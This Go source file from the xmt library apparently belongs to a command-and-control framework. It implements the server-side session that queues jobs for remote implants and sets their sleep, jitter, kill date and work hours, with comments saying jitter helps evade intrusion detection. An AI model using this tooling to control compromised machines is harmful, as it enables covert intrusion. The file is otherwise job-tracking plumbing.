github.com/iDigitalFlame/xmt@v0.5.4/c2/session_no_implant.go (about)

     1  //go:build !implant
     2  // +build !implant
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package c2
    21  
    22  import (
    23  	"sync"
    24  	"time"
    25  
    26  	"github.com/iDigitalFlame/xmt/c2/cfg"
    27  	"github.com/iDigitalFlame/xmt/c2/cout"
    28  	"github.com/iDigitalFlame/xmt/c2/task"
    29  	"github.com/iDigitalFlame/xmt/com"
    30  	"github.com/iDigitalFlame/xmt/data"
    31  	"github.com/iDigitalFlame/xmt/device"
    32  	"github.com/iDigitalFlame/xmt/util"
    33  	"github.com/iDigitalFlame/xmt/util/xerr"
    34  )
    35  
    36  // ErrNoTask is returned from some functions that return Jobs. This will
    37  // be returned when the Job object will be nil due to the fact the function
    38  // was called on the client-side instead of the server-side.
    39  //
    40  // This is more of an informational message than an error, as this does NOT
    41  // indicate that the function failed, but that the Job object should NOT be
    42  // used as it is nil. (In case the Job object is not checked.)
    43  var ErrNoTask = xerr.Sub("no Job created for client Session", 0x58)
    44  
    45  // Session is a struct that represents a connection between the client and the
    46  // Listener.
    47  //
    48  // This struct does some automatic handling and acts as the communication
    49  // channel between the client and server.
    50  type Session struct {
    51  	connection
    52  	kill time.Time
    53  
    54  	Last    time.Time
    55  	Created time.Time
    56  	swap    cfg.Profile
    57  
    58  	Receive         func(*Session, *com.Packet)
    59  	jobs            map[uint16]*Job
    60  	parent          *Listener
    61  	send, recv, chn chan *com.Packet
    62  	frags           map[uint16]*cluster
    63  	ch              chan struct{}
    64  
    65  	Shutdown func(*Session)
    66  	keysNext *data.KeyPair
    67  	proxy    *proxyBase
    68  	tick     *sleeper
    69  	peek     *com.Packet
    70  	wake     chan struct{}
    71  	work     *cfg.WorkHours
    72  	host     container
    73  	proxies  []proxyData
    74  
    75  	Device device.Machine
    76  	sleep  time.Duration
    77  	lock   sync.RWMutex
    78  	state  state
    79  	keys   data.KeyPair
    80  
    81  	ID             device.ID
    82  	jitter, errors uint8
    83  }
    84  
    85  // Jobs returns all current Jobs for this Session.
    86  //
    87  // This returns nil if there are no Jobs or this Session does not have the
    88  // ability to schedule them.
    89  func (s *Session) Jobs() []*Job {
    90  	if s.jobs == nil || len(s.jobs) == 0 {
    91  		return nil
    92  	}
    93  	s.lock.RLock()
    94  	r := make([]*Job, 0, len(s.jobs))
    95  	for _, j := range s.jobs {
    96  		r = append(r, j)
    97  	}
    98  	s.lock.RUnlock()
    99  	return r
   100  }
   101  
   102  // IsClient returns true when this Session is not associated to a Listener on
   103  // this end, which signifies that this session is Client initiated, or we are
   104  // on a client device.
   105  func (s *Session) IsClient() bool {
   106  	return s.parent == nil && s.s == nil
   107  }
   108  func (s *Session) accept(i uint16) {
   109  	if i < 2 || s.parent == nil || s.jobs == nil || len(s.jobs) == 0 {
   110  		return
   111  	}
   112  	s.lock.RLock()
   113  	j, ok := s.jobs[i]
   114  	if s.lock.RUnlock(); !ok {
   115  		return
   116  	}
   117  	if j.Status = StatusAccepted; j.Update != nil {
   118  		s.m.queue(event{j: j, jf: j.Update})
   119  	}
   120  	if cout.Enabled {
   121  		s.log.Trace("[%s] Set JobID %d to accepted.", s.ID, i)
   122  	}
   123  }
   124  func (s *Session) newJobID() uint16 {
   125  	var (
   126  		ok   bool
   127  		i, c uint16
   128  	)
   129  	s.lock.RLock()
   130  	for ; c < 512; c++ {
   131  		i = uint16(util.FastRand())
   132  		if _, ok = s.jobs[i]; !ok && i > 1 {
   133  			s.lock.RUnlock()
   134  			return i
   135  		}
   136  	}
   137  	s.lock.RUnlock()
   138  	return 0
   139  }
   140  
   141  // Job returns a Job with the associated ID, if it exists. It returns nil
   142  // otherwise.
   143  func (s *Session) Job(i uint16) *Job {
   144  	if i < 2 || s.jobs == nil || len(s.jobs) == 0 {
   145  		return nil
   146  	}
   147  	s.lock.RLock()
   148  	j := s.jobs[i]
   149  	s.lock.RUnlock()
   150  	return j
   151  }
   152  
   153  // Listener will return the Listener that created the Session. This will return
   154  // nil if the session is not on the server side.
   155  func (s *Session) Listener() *Listener {
   156  	return s.parent
   157  }
   158  func (s *Session) hasJob(j uint16) bool {
   159  	// There's no need to lock here.
   160  	_, ok := s.jobs[j]
   161  	return ok
   162  }
   163  func (s *Session) handle(p *com.Packet) bool {
   164  	if p == nil || p.Device.Empty() || p.ID != RvResult || p.Job < 2 {
   165  		return false
   166  	}
   167  	if s.jobs == nil || len(s.jobs) == 0 {
   168  		if cout.Enabled {
   169  			s.log.Warning("[%s/ShC] Received an un-tracked Job %d!", s.ID, p.Job)
   170  		}
   171  		return false
   172  	}
   173  	if s.state.Moving() {
   174  		if cout.Enabled {
   175  			s.log.Error("[%s/ShC] Dropping Job %d as Session is being Migrated!", s.ID, p.Job)
   176  		}
   177  		return true
   178  	}
   179  	s.lock.RLock()
   180  	j, ok := s.jobs[p.Job]
   181  	if s.lock.RUnlock(); !ok {
   182  		if cout.Enabled {
   183  			s.log.Warning("[%s/ShC] Received an un-tracked Job %d!", s.ID, p.Job)
   184  		}
   185  		return false
   186  	}
   187  	if cout.Enabled {
   188  		s.log.Debug("[%s/ShC] Received response for Job %d.", s.ID, j.ID)
   189  	}
   190  	if j.Result, j.Complete, j.Status = p, time.Now(), StatusCompleted; p.Flags&com.FlagError != 0 {
   191  		j.Status = StatusError
   192  		if err := p.ReadString(&j.Error); err != nil {
   193  			j.Error = err.Error()
   194  		}
   195  	} else if j.Result != nil {
   196  		s.handleInfoResult(j.ID, j.Type, j.Result)
   197  	}
   198  	s.lock.Lock()
   199  	delete(s.jobs, j.ID)
   200  	if s.lock.Unlock(); j.done != nil {
   201  		close(j.done)
   202  		j.done = nil
   203  	}
   204  	if j.Update != nil {
   205  		s.m.queue(event{j: j, jf: j.Update})
   206  	}
   207  	return true
   208  }
   209  func (s *Session) frag(i, id, max, cur uint16) {
   210  	if i < 2 || s.parent == nil || s.jobs == nil || len(s.jobs) == 0 {
   211  		return
   212  	}
   213  	s.lock.RLock()
   214  	j, ok := s.jobs[i]
   215  	if s.lock.RUnlock(); !ok {
   216  		return
   217  	}
   218  	if j.Frags == 0 {
   219  		j.Status = StatusReceiving
   220  	}
   221  	if j.Frags, j.Current = max, cur; j.Update != nil {
   222  		s.m.queue(event{j: j, jf: j.Update})
   223  	}
   224  	if cout.Enabled {
   225  		s.log.Trace("[%s/Frag] Tracking Job %d Frag Group 0x%X, Current %d of %d.", s.ID, i, id, cur+1, max)
   226  	}
   227  }
   228  
   229  // SetJitter sets Jitter percentage of the Session's wake interval. This is a 0
   230  // to 100 percentage (inclusive) that will determine any +/- time is added to
   231  // the waiting period. This assists in evading IDS/NDS devices/systems.
   232  //
   233  // A value of 0 will disable Jitter and any value over 100 will set the value to
   234  // 100, which represents using Jitter 100% of the time.
   235  //
   236  // If this is a Server-side Session, the new value will be sent to the Client in
   237  // a MvTime Packet.
   238  func (s *Session) SetJitter(j int) (*Job, error) {
   239  	return s.SetDuration(0, j)
   240  }
   241  
   242  // Task is a function that will attach a JobID to the specified Packet (if
   243  // empty) and wil return a Job promise that can be used to internally keep track
   244  // of a response Packet with a matching Job ID.
   245  //
   246  // Errors will be returned if Task is attempted on an invalid Packet, this
   247  // Session is a client-side Session, Job ID is already used or the scheduler is
   248  // full.
   249  func (s *Session) Task(n *com.Packet) (*Job, error) {
   250  	if n == nil {
   251  		return nil, xerr.Sub("empty or nil Job", 0x59)
   252  	}
   253  	if s.parent == nil || s.jobs == nil {
   254  		return nil, xerr.Sub("cannot be a client session", 0x4E)
   255  	}
   256  	if s.isMoving() {
   257  		return nil, xerr.Sub("migration in progress", 0x4F)
   258  	}
   259  	if n.Job == 0 {
   260  		if n.Job = s.newJobID(); n.Job == 0 {
   261  			return nil, xerr.Sub("cannot assign a Job ID", 0x5A)
   262  		}
   263  	}
   264  	if n.Device.Empty() {
   265  		n.Device = s.Device.ID
   266  	}
   267  	s.lock.RLock()
   268  	_, ok := s.jobs[n.Job]
   269  	if s.lock.RUnlock(); ok {
   270  		if xerr.ExtendedInfo {
   271  			return nil, xerr.Sub("job "+util.Uitoa(uint64(n.Job))+" already registered", 0x5B)
   272  		}
   273  		return nil, xerr.Sub("job already registered", 0x5B)
   274  	}
   275  	if err := s.write(false, n); err != nil {
   276  		return nil, err
   277  	}
   278  	j := &Job{ID: n.Job, Type: n.ID, Start: time.Now(), s: s, done: make(chan struct{})}
   279  	s.lock.Lock()
   280  	s.jobs[n.Job] = j
   281  	if s.lock.Unlock(); cout.Enabled {
   282  		s.log.Info("[%s/ShC] Added JobID %d to Track!", s.ID, n.Job)
   283  	}
   284  	return j, nil
   285  }
   286  func (s *Session) setProfile(b []byte) (*Job, error) {
   287  	if s.parent == nil {
   288  		return nil, ErrNoTask
   289  	}
   290  	n := &com.Packet{ID: task.MvProfile, Device: s.Device.ID}
   291  	n.WriteBytes(b)
   292  	return s.Task(n)
   293  }
   294  
   295  // Tasklet is a function similar to Task and will attach a JobID to the specified
   296  // Packet created by the supplied Tasklet and wil return a Job promise that can be
   297  // used to internally keep track of a response Packet with a matching Job ID.
   298  //
   299  // If the Tasklet has an issue generating the payload, it will return an error
   300  // before scheduling.
   301  //
   302  // Errors will be returned if Task is attempted on an invalid Packet, this Session
   303  // is a client-side Session, Job ID is already or the scheduler is full.
   304  func (s *Session) Tasklet(t task.Tasklet) (*Job, error) {
   305  	if t == nil {
   306  		return nil, xerr.Sub("empty or nil Tasklet", 0x5C)
   307  	}
   308  	n, err := t.Packet()
   309  	if err != nil {
   310  		return nil, err
   311  	}
   312  	return s.Task(n)
   313  }
   314  
   315  // SetKillDate sets the KillDate for this Session. This is a setting that controls
   316  // the date when this Session will shutdown automatically.
   317  //
   318  // Use the WorkHours functions to create one or do it manually. If a nil value
   319  // is passed (or an empty WorkHours) this will clear the current WorkHours setting.
   320  //
   321  // Changing the WorkHours when there perviously was a non-nil setting will wake
   322  // the Session if it's sleeping.
   323  //
   324  // If this is a Server-side Session, the new value will be sent to the Client in
   325  // a MvTime Packet.
   326  func (s *Session) SetKillDate(t time.Time) (*Job, error) {
   327  	if s.kill = t; s.parent == nil {
   328  		return nil, ErrNoTask
   329  	}
   330  	n := &com.Packet{ID: task.MvTime, Device: s.Device.ID}
   331  	if n.WriteUint8(timeKillDate); s.kill.IsZero() {
   332  		n.WriteInt64(0)
   333  	} else {
   334  		n.WriteInt64(t.Unix())
   335  	}
   336  	return s.Task(n)
   337  }
   338  
   339  // SetSleep sets the wake interval period for this Session. This is the time value
   340  // between connections to the C2 Server.
   341  //
   342  // If this is a Server-side Session, the new value will be sent to the Client in
   343  // a MvTime Packet. This setting does not affect Jitter.
   344  func (s *Session) SetSleep(t time.Duration) (*Job, error) {
   345  	return s.SetDuration(t, -1)
   346  }
   347  
   348  // SetProfileBytes will set the Profile used by this Session. This function will
   349  // unmarshal and set the server-side before setting and will then pass it to be
   350  // set by the client Session (if this isn't one already).
   351  //
   352  // If this is a server-side Session, this will trigger the sending of a MvProfile
   353  // Packet to update the client-side instance, which will update on it's next
   354  // wakeup cycle.
   355  //
   356  // This function will fail if no ProfileParser is set.
   357  //
   358  // If this is a client-side session the error 'ErrNoTask' will be returned AFTER
   359  // setting the Profile and indicates that no Packet will be sent and that the
   360  // Job object result is nil.
   361  func (s *Session) SetProfileBytes(b []byte) (*Job, error) {
   362  	p, err := parseProfile(b)
   363  	if err != nil {
   364  		return nil, xerr.Wrap("parse Profile", err)
   365  	}
   366  	s.p = p
   367  	return s.setProfile(b)
   368  }
   369  
   370  // SetProfile will set the Profile used by this Session. This function will
   371  // ensure that the profile is marshalable before setting and will then pass it
   372  // to be set by the client Session (if this isn't one already).
   373  //
   374  // If this is a server-side Session, this will trigger the sending of a MvProfile
   375  // Packet to update the client-side instance, which will update on it's next
   376  // wakeup cycle.
   377  //
   378  // If this is a client-side session the error 'ErrNoTask' will be returned AFTER
   379  // setting the Profile and indicates that no Packet will be sent and that the
   380  // Job object result is nil.
   381  func (s *Session) SetProfile(p cfg.Profile) (*Job, error) {
   382  	if p == nil {
   383  		return nil, ErrInvalidProfile
   384  	}
   385  	m, ok := p.(marshaler)
   386  	if !ok {
   387  		return nil, xerr.Sub("cannot marshal Profile", 0x50)
   388  	}
   389  	b, err := m.MarshalBinary()
   390  	if err != nil {
   391  		return nil, xerr.Wrap("cannot marshal Profile", err)
   392  	}
   393  	s.p = p
   394  	return s.setProfile(b)
   395  }
   396  
   397  // SetWorkHours sets the WorkingHours for this Session. This is a setting that
   398  // controls WHEN the Session will talk to the C2 Server.
   399  //
   400  // Use the WorkHours functions to create one or do it manually. If a nil value
   401  // is passed (or an empty WorkHours) this will clear the current WorkHours setting.
   402  //
   403  // Changing the WorkHours when there perviously was a non-nil setting will wake
   404  // the Session if it's sleeping.
   405  //
   406  // If this is a Server-side Session, the new value will be sent to the Client in
   407  // a MvTime Packet.
   408  func (s *Session) SetWorkHours(w *cfg.WorkHours) (*Job, error) {
   409  	if w == nil || w.Empty() {
   410  		if s.work != nil {
   411  			s.Wake()
   412  		}
   413  		if s.work = nil; s.parent == nil {
   414  			return nil, ErrNoTask
   415  		}
   416  		n := &com.Packet{ID: task.MvTime, Device: s.Device.ID}
   417  		n.WriteUint8(timeWorkHours)
   418  		n.WriteUint32(0)
   419  		n.WriteUint8(0)
   420  		return s.Task(n)
   421  	}
   422  	if err := w.Verify(); err != nil {
   423  		return nil, err
   424  	}
   425  	if s.work != nil {
   426  		s.Wake()
   427  	}
   428  	if s.work = w; s.parent == nil {
   429  		return nil, ErrNoTask
   430  	}
   431  	n := &com.Packet{ID: task.MvTime, Device: s.Device.ID}
   432  	n.WriteUint8(timeWorkHours)
   433  	w.MarshalStream(n)
   434  	return s.Task(n)
   435  }
   436  
   437  // SetDuration sets the wake interval period and Jitter for this Session. This is
   438  // the time value between connections to the C2 Server.
   439  //
   440  // Jitter is a 0 to 100 percentage (inclusive) that will determine any +/- time
   441  // is added to the waiting period. This assists in evading IDS/NDS devices/systems.
   442  //
   443  // A value of 0 will disable Jitter and any value over 100 will set the value to
   444  // 100, which represents using Jitter 100% of the time.
   445  //
   446  // If this is a Server-side Session, the new value will be sent to the Client in
   447  // a MvTime Packet.
   448  func (s *Session) SetDuration(t time.Duration, j int) (*Job, error) {
   449  	switch {
   450  	case j == -1:
   451  	case j < 0:
   452  		s.jitter = 0
   453  	case j > 100:
   454  		s.jitter = 100
   455  	default:
   456  		s.jitter = uint8(j)
   457  	}
   458  	if t > 0 {
   459  		s.sleep = t
   460  	}
   461  	if s.parent == nil {
   462  		return nil, ErrNoTask
   463  	}
   464  	n := &com.Packet{ID: task.MvTime, Device: s.Device.ID}
   465  	n.WriteUint16(uint16(s.jitter)) // timeSleepJitter (0) is implied here
   466  	n.WriteUint64(uint64(s.sleep))
   467  	return s.Task(n)
   468  }
   469  func (s *Session) handleInfoResult(i uint16, t uint8, n *com.Packet) {
   470  	switch t {
   471  	case task.MvProxy:
   472  		var err error
   473  		if s.proxies, err = s.readDeviceInfo(infoProxy, n); err != nil {
   474  			if cout.Enabled {
   475  				s.log.Error("[%s/Cr0] Error reading MvProxy Job %d result: %s!", s.ID, i, err.Error())
   476  			}
   477  		}
   478  		if cout.Enabled {
   479  			s.log.Debug("[%s/Cr0] Client indicated that it updated it's Proxy details, updating local Proxy information.", s.ID)
   480  		}
   481  	case task.MvMigrate:
   482  		if _, err := s.readDeviceInfo(infoSyncMigrate, n); err != nil {
   483  			if cout.Enabled {
   484  				s.log.Error("[%s/Cr0] Error reading MvMigrate Job %d result: %s!", s.ID, i, err.Error())
   485  			}
   486  		}
   487  		if cout.Enabled {
   488  			s.log.Debug("[%s/Cr0] Client indicated that it migrated, updating local Session information.", s.ID)
   489  		}
   490  	case task.MvRefresh:
   491  		var err error
   492  		if s.proxies, err = s.readDeviceInfo(infoRefresh, n); err != nil {
   493  			if cout.Enabled {
   494  				s.log.Error("[%s/Cr0] Error reading MvRefresh Job %d result: %s!", s.ID, i, err.Error())
   495  			}
   496  		}
   497  		if cout.Enabled {
   498  			s.log.Debug("[%s/Cr0] Client indicated that it refreshed it's details, updating local Session information.", s.ID)
   499  		}
   500  	case task.MvTime, task.MvProfile:
   501  		if _, err := s.readDeviceInfo(infoSync, n); err != nil {
   502  			if cout.Enabled {
   503  				s.log.Error("[%s/Cr0] Error reading MvTime/MvProfile Job %d result: %s!", s.ID, i, err.Error())
   504  			}
   505  		}
   506  		if cout.Enabled {
   507  			s.log.Debug("[%s/Cr0] Client indicated that it changed profile/time, updating local Session information.", s.ID)
   508  		}
   509  	default:
   510  		return
   511  	}
   512  	n.Seek(0, 0)
   513  }